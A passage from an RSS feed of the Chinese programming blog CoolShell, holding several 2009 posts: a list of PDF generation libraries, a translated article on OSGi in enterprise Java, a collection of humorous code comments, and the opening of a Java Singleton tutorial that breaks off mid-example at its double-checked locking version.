</p>\n<h2>6）PDFSharp</h2>\n<p><a href=\"http://pdfsharp.com/PDFsharp/\">http://pdfsharp.com/PDFsharp/</a>。基于.NET。</p>\n<p><a rel=\"nofollow\" href=\"http://pdfsharp.com/PDFsharp/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/PDFsharp.gif\" alt=\"\" /></a> </p>\n<h2>7）libHaru</h2>\n<p><a href=\"http://libharu.org/wiki/Main_Page\">http://libharu.org/wiki/Main_Page</a>。这是一个跨平台C++的开源的PDF文件生成的库。ZLIB/LIBPNG License</p>\n<p><a rel=\"nofollow\" href=\"http://libharu.org/wiki/Main_Page\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/haru.png\" alt=\"\" /></a> </p>\n<h2>8）Apache FOP</h2>\n<p><a href=\"http://xmlgraphics.apache.org/fop/\">http://xmlgraphics.apache.org/fop/</a>。Java语言，输入支持PDF, PS, PCL, AFP, XML (树形表示), Print, AWT 和PNG格式。</p>\n<p><a rel=\"nofollow\" href=\"http://xmlgraphics.apache.org/fop/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/fop.jpg\" alt=\"\" /></a> </p>\n<h2>9）PDF  Clown</h2>\n<p><a href=\"http://www.stefanochizzolini.it/en/projects/clown/\">http://www.stefanochizzolini.it/en/projects/clown/</a>。这是一个基于Java和.NET的开源项目。需要Java 1.5+和C# 2.0。</p>\n<p><a rel=\"nofollow\" href=\"http://www.stefanochizzolini.it/en/projects/clown/\"><img decoding=\"async\" src=\"http://www.ajaxline.com/files/pdfClown.png\" alt=\"\" /></a> </p>\n<h2>10）Reportlab Toolkit</h2>\n<p><a href=\"http://www.reportlab.org/rl_toolkit.html\">http://www.reportlab.org/rl_toolkit.html</a>。这是一个基于python的库，包含PDF和XML等解析。</p>\n<p>文章：<a href=\"http://www.ajaxline.com/10-best-libraries-for-generating-pdf\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/424.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"PDF电子书搜索引擎\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/424.html\" class=\"wp_rp_title\">PDF电子书搜索引擎</a></li><li ><a href=\"https://coolshell.cn/articles/1032.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"Unix 40年：Unix年鉴\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1032.html\" class=\"wp_rp_title\">Unix 40年：Unix年鉴</a></li><li ><a href=\"https://coolshell.cn/articles/1626.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"ldd 的一个安全问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1626.html\" class=\"wp_rp_title\">ldd 的一个安全问题</a></li><li ><a href=\"https://coolshell.cn/articles/1619.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/10/Linus_windows_7-150x150.jpg\" alt=\"Windows 7 的新粉丝 Linus Torvalds\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1619.html\" class=\"wp_rp_title\">Windows 7 的新粉丝 Linus Torvalds</a></li><li ><a href=\"https://coolshell.cn/articles/2109.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"Python处理encoding的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2109.html\" class=\"wp_rp_title\">Python处理encoding的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/3207.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5-150x150.jpg\" alt=\"30+ Web下拉菜单\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3207.html\" class=\"wp_rp_title\">30+ Web下拉菜单</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/309.html\">十个最好的PDF生成库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/309.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>OSGi和Java企业级运算的未来方向</title>\n\t\t<link>https://coolshell.cn/articles/294.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/294.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Sun, 29 Mar 2009 07:50:47 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[OSGi]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=294</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>摘要： OSGi也是译者最近才接触到的技术，但是在OSGi的发展中，它越来越收到了来自行业的关注。作为OSGi的动态部署，译者认为此项规范对于企业应用应该是非常...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/294.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/294.html\">OSGi和Java企业级运算的未来方向</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>摘要</strong>： OSGi也是译者最近才接触到的技术，但是在OSGi的发展中，它越来越收到了来自行业的关注。作为OSGi的动态部署，译者认为此项规范对于企业应用应该是非常有帮助的。特别在银行的信息化建设中将会起到很重要的作用，因为国内大多的银行业都在强调7*24小时系统，但是其业务发展又非常迅速，常常有新需求，新变更。如果每一次上线变更都将重启系统的话，对银行的服务质量和形象将会造成较大的影响。 此文只是讲述了OSGi在Java企业运算中的新动向，并没有具体的介绍OSGi的规范。关于OSGi规范的文档可以从jcp上下载</p>\n<p>原文出处：<a href=\"http://itknowledgeexchange.techtarget.com/soa-talk/osgi-and-future-directions-for-enterprise-java/\" target=\"_self\">这里</a><br />\n<strong></strong></p>\n<p><strong>OSGi和Java企业级运算的未来方向</strong></p>\n<p>by Eric Newcomer</p>\n<p>无论JCP是否完全的迷失了它的方向，它都不同程度受到来自外部活动的影响。Spring框架和Hibernate影响了EJB3，而且JPA也是一个好的例子。另外日渐感觉到的影响来自于对OSGi规范的采用和其实现，特别是实现了OSGi的开源的Eclipse Equinox，Apache Felix和Knoplerfish框架</p>\n<p><span id=\"more-294\"></span></p>\n<p>OSGi规范为Java定义动态模组元信息系统和在其交互模组中的面向服务的编程模型。这个规范定义了一个为服务查找的注册表，还定义了一组通用功能集合，例如安全，生命周期管理，日志等。OSGi的框架如今已经被Eclipse基金采用，许多的主要Java厂商采用这个规范来开发中间件产品，同时OSGi也被很多开源项目组采用，包括用来开发应用服务器，企业服务总线，和集成开发环境。</p>\n<p>作为在商业产品和开源项目中广泛被使用的的核心平台，OSGi联盟开始接收到来自更复杂的的对企业应用的支持需求。在1999年,OSGi规范最初是JSR-8，主要的目的是用于家庭自助网关(home automation gateways)。自从那时起，OSGi技术就被在各种个样自助，移动电话，和家庭娱乐的嵌入应用程序所使用。2006年的8月份，OSGi联盟，接收许多关注于OSGi企业版本的建议并举行一个关于讨论成立一个OSGi企业专家组(EEG）可能性的会议。</p>\n<p>自从2007年1月第一次会议一来，OSGi企业专家组EEG用了两年时间编写了致力于使OSGi更好支持企业级Java应用的需求细节和设计细节。这个工作的成果是：在2009年年中，将会对OSGi规范有一个主要的更新(两个的草案版本已经发布)，这个修改主要包括扩展了核心框架服务和定义现有存在企业Java技术与OSGi框架的接口以满足业务应用需求的案例。主要的特性包括被称为蓝图服务(Blueprint Service)Spring框架组件模型到OSGi服务模型的映射和分布计算协议到OSGi服务模型的映射, JavaEE映射的关键部分是Web apps,JDBC,JPA,JMX,JTA,JNDI,和JAAS。</p>\n<p>软件行业已经接受并支持OSGi带来的模组化的好处，下一个改进将会是通过适配已经用于企业运算的Java技术接口，进而对企业级Java应用的支撑。这个目标将帮助OSGi的开发人员更容易的以标准的方式创建企业服务务应用程序。</p>\n<p>Eric Newcomer是分布计算的专家和独立咨询师，Newcomer是OSGi企业专家组的主席，之前他是IONA技术公司的CTO.他在<a href=\"http://modualrit.blogspot.com/\" target=\"_blank\"> blog on OSGi</a>发布了很多的OSGi的文章<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/294.html\">OSGi和Java企业级运算的未来方向</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/294.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>雷人的程序注释</title>\n\t\t<link>https://coolshell.cn/articles/290.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/290.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 26 Mar 2009 16:58:43 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[注释]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=290</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>使用Google code search可以搜索到一些比较有趣的代码注释，呵呵。下面的这些程序注释有搞笑的，也有粗口，看来写程序本来也不是一件很枯燥的事，关键看...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/290.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/290.html\">雷人的程序注释</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment1.gif\"></a></p>\n<p>使用<a href=\"http://www.google.com/codesearch\"><span style=\"color: #0066cc;\">Google code search</span></a>可以搜索到一些比较有趣的代码注释，呵呵。下面的这些程序注释有搞笑的，也有粗口，看来写程序本来也不是一件很枯燥的事，关键看你的心态如何了。读到这些注释的时候，只能想到一个词，那就是“疯狂的程序员”，哈哈。Have a Fun  ;-)</p>\n<p>写个程序时不忘表达自己的感情，以免以后忘了。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment15.gif\"><img decoding=\"async\" loading=\"lazy\" title=\"fcomment15\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment15.gif\" alt=\"fcomment15\" width=\"664\" height=\"89\" /></a></p>\n<p><span id=\"more-290\"></span></p>\n<p>呵呵，看来自己也不是很自信。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment1.gif\"><img decoding=\"async\" loading=\"lazy\" title=\"fcomment1\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment1.gif\" alt=\"fcomment1\" width=\"685\" height=\"90\" /></a></p>\n<p>到处都是dragon啊。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment2.gif\"><img decoding=\"async\" loading=\"lazy\" title=\"fcomment2\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment2.gif\" alt=\"fcomment2\" width=\"613\" height=\"91\" /></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment3.gif\"><img decoding=\"async\" loading=\"lazy\" title=\"fcomment3\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment3.gif\" alt=\"fcomment3\" width=\"652\" height=\"92\" /></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment4.gif\"><img decoding=\"async\" loading=\"lazy\" title=\"fcomment4\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment4.gif\" alt=\"fcomment4\" width=\"653\" height=\"74\" /></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment5.gif\"><img decoding=\"async\" loading=\"lazy\" title=\"fcomment5\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment5.gif\" alt=\"fcomment5\" width=\"464\" height=\"76\" /></a></p>\n<p> 又是一个愤怒的注释</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment6.gif\"><img decoding=\"async\" loading=\"lazy\" title=\"fcomment6\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment6.gif\" alt=\"fcomment6\" width=\"694\" height=\"77\" /></a></p>\n<p>嗯，我早就告诉过他们……</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment7.gif\"><img decoding=\"async\" loading=\"lazy\" title=\"fcomment7\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment7.gif\" alt=\"fcomment7\" width=\"694\" height=\"89\" /></a></p>\n<p>粗口也上了……</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment8.gif\"><img decoding=\"async\" loading=\"lazy\" title=\"fcomment8\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment8.gif\" alt=\"fcomment8\" width=\"501\" height=\"89\" /></a></p>\n<p>嗯，下面的程序与请别看了……</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment9.gif\"><img decoding=\"async\" loading=\"lazy\" title=\"fcomment9\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment9.gif\" alt=\"fcomment9\" width=\"549\" height=\"74\" /></a></p>\n<p>真是疯狂啊，难道程序员的注释也有枪手或五毛？</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment10.gif\"><img decoding=\"async\" loading=\"lazy\" title=\"fcomment10\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment10.gif\" alt=\"fcomment10\" width=\"468\" height=\"74\" /></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment11.gif\"><img decoding=\"async\" loading=\"lazy\" title=\"fcomment11\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment11.gif\" alt=\"fcomment11\" width=\"567\" height=\"77\" /></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment12.gif\"><img decoding=\"async\" loading=\"lazy\" title=\"fcomment12\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment12.gif\" alt=\"fcomment12\" width=\"565\" height=\"90\" /></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment13.gif\"><img decoding=\"async\" loading=\"lazy\" title=\"fcomment13\" src=\"https://coolshell.cn/wp-content/uploads/2009/03/fcomment13.gif\" alt=\"fcomment13\" width=\"625\" height=\"89\" /></a></p>\n<p> 希望你喜欢哦。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2746.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"五种应该避免的代码注释\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2746.html\" class=\"wp_rp_title\">五种应该避免的代码注释</a></li><li ><a href=\"https://coolshell.cn/articles/7459.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/05/coada2-1-150x150.png\" alt=\"Huffman 编码压缩算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7459.html\" class=\"wp_rp_title\">Huffman 编码压缩算法</a></li><li ><a href=\"https://coolshell.cn/articles/664.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"使用PHP的cURL库\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/664.html\" class=\"wp_rp_title\">使用PHP的cURL库</a></li><li ><a href=\"https://coolshell.cn/articles/2990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/Time-Allocation-while-Programming-150x150.png\" alt=\"编程时间分配图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2990.html\" class=\"wp_rp_title\">编程时间分配图</a></li><li ><a href=\"https://coolshell.cn/articles/1174.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/4.jpg\" alt=\"程序员惯用的解释(Top 25)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1174.html\" class=\"wp_rp_title\">程序员惯用的解释(Top 25)</a></li><li ><a href=\"https://coolshell.cn/articles/1202.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/07/Question-150x150.jpg\" alt=\"面试题：赛马问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1202.html\" class=\"wp_rp_title\">面试题：赛马问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/290.html\">雷人的程序注释</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/290.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>12</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>深入浅出单实例Singleton设计模式</title>\n\t\t<link>https://coolshell.cn/articles/265.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/265.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 26 Mar 2009 08:04:43 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[Singleton]]></category>\n\t\t<category><![CDATA[设计模式]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=265</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>单实例Singleton设计模式可能是被讨论和使用的最广泛的一个设计模式了，这可能也是面试中问得最多的一个设计模式了。这个设计模式主要目的是想在整个系统中只能出...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/265.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/265.html\">深入浅出单实例Singleton设计模式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>单实例Singleton设计模式可能是被讨论和使用的最广泛的一个设计模式了，这可能也是面试中问得最多的一个设计模式了。这个设计模式主要目的是想在整个系统中只能出现一个类的实例。这样做当然是有必然的，比如你的软件的全局配置信息，或者是一个Factory，或是一个主控类，等等。你希望这个类在整个系统中只能出现一个实例。当然，作为一个技术负责人的你，你当然有权利通过使用非技术的手段来达到你的目的。比如：你在团队内部明文规定，“XX类只能有一个全局实例，如果某人使用两次以上，那么该人将被处于2000元的罚款！”（呵呵），你当然有权这么做。但是如果你的设计的是东西是一个类库，或是一个需要提供给用户使用的API，恐怕你的这项规定将会失效。因为，你无权要求别人会那么做。所以，这就是为什么，我们希望通过使用技术的手段来达成这样一个目的的原因。</p>\n<p>本文会带着你深入整个Singleton的世界，当然，我会放弃使用C++语言而改用Java语言，因为使用Java这个语言可能更容易让我说明一些事情。</p>\n<h4><span id=\"more-265\"></span><br />\n<strong>Singleton的教学版本</strong></h4>\n<p>这里，我将直接给出一个Singleton的简单实现，因为我相信你已经有这方面的一些基础了。我们姑且把这个版本叫做1.0版</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">// version 1.0\npublic class Singleton {\n    private static Singleton singleton = null;\n    private Singleton() {  }\n    public static Singleton getInstance() {\n        if (singleton== null) {\n            singleton= new Singleton();\n        }\n        return singleton;\n    }\n}</pre>\n<p>在上面的实例中，我想说明下面几个Singleton的特点：（下面这些东西可能是尽人皆知的，没有什么新鲜的）</p>\n<ol>\n<li>私有（private）的构造函数，表明这个类是不可能形成实例了。这主要是怕这个类会有多个实例。</li>\n<li>即然这个类是不可能形成实例，那么，我们需要一个静态的方式让其形成实例：getInstance()。注意这个方法是在new自己，因为其可以访问私有的构造函数，所以他是可以保证实例被创建出来的。</li>\n<li>在getInstance()中，先做判断是否已形成实例，如果已形成则直接返回，否则创建实例。</li>\n<li>所形成的实例保存在自己类中的私有成员中。</li>\n<li>我们取实例时，只需要使用Singleton.getInstance()就行了。</li>\n</ol>\n<p>当然，如果你觉得知道了上面这些事情后就学成了，那得给你当头棒喝一下了，事情远远没有那么简单。</p>\n<h4><strong>Singleton的实际版本</strong></h4>\n<p>上面的这个程序存在比较严重的问题，因为是全局性的实例，所以，在多线程情况下，所有的全局共享的东西都会变得非常的危险，这个也一样，在多线程情况下，如果多个线程同时调用getInstance()的话，那么，可能会有多个进程同时通过 (singleton== null)的条件检查，于是，多个实例就创建出来，并且很可能造成内存泄露问题。嗯，熟悉多线程的你一定会说——“我们需要线程互斥或同步”，没错，我们需要这个事情，于是我们的Singleton升级成1.1版，如下所示：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"8,10\">// version 1.1\npublic class Singleton\n{\n    private static Singleton singleton = null;\n    private Singleton() {  }\n    public static Singleton getInstance() {\n        if (singleton== null) {\n            synchronized (Singleton.class) {\n                singleton= new Singleton();\n            }\n        }\n        return singleton;\n    }\n}</pre>\n<p>嗯，使用了Java的synchronized方法，看起来不错哦。应该没有问题了吧？！错！这还是有问题！为什么呢？前面已经说过，如果有多个线程同时通过(singleton== null)的条件检查（因为他们并行运行），虽然我们的synchronized方法会帮助我们同步所有的线程，让我们并行线程变成串行的一个一个去new，那不还是一样的吗？同样会出现很多实例。嗯，确实如此！看来，还得把那个判断(singleton== null)条件也同步起来。于是，我们的Singleton再次升级成1.2版本，如下所示：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"7,11\">// version 1.2\npublic class Singleton\n{\n    private static Singleton singleton = null;\n    private Singleton()  {  }\n    public static Singleton getInstance()  {\n        synchronized (Singleton.class) {\n            if (singleton== null) {\n\t\tsingleton= new Singleton();\n            }\n         }\n        return singleton;\n    }\n}</pre>\n<p>不错不错，看似很不错了。在多线程下应该没有什么问题了，不是吗？的确是这样的，1.2版的Singleton在多线程下的确没有问题了，因为我们同步了所有的线程。只不过嘛……，什么？！还不行？！是的，还是有点小问题，我们本来只是想让new这个操作并行就可以了，现在，只要是进入getInstance()的线程都得同步啊，注意，创建对象的动作只有一次，后面的动作全是读取那个成员变量，这些读取的动作不需要线程同步啊。这样的作法感觉非常极端啊，为了一个初始化的创建动作，居然让我们达上了所有的读操作，严重影响后续的性能啊！</p>\n<p>还得改！嗯，看来，在线程同步前还得加一个(singleton== null)的条件判断，如果对象已经创建了，那么就不需要线程的同步了。OK，下面是1.3版的Singleton。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"7,9\">// version 1.3\npublic class Singleton\n{\n    private static Singleton singleton = null;\n    private Singleton()  {    }\n    public static Singleton getInstance() {\n        if (singleton== null)  {\n            synchronized (Singleton.class) {\n                if (singleton== null)  {\n                    singleton= new Singleton();\n                }\n            }\n        }\n        return singleton;\n    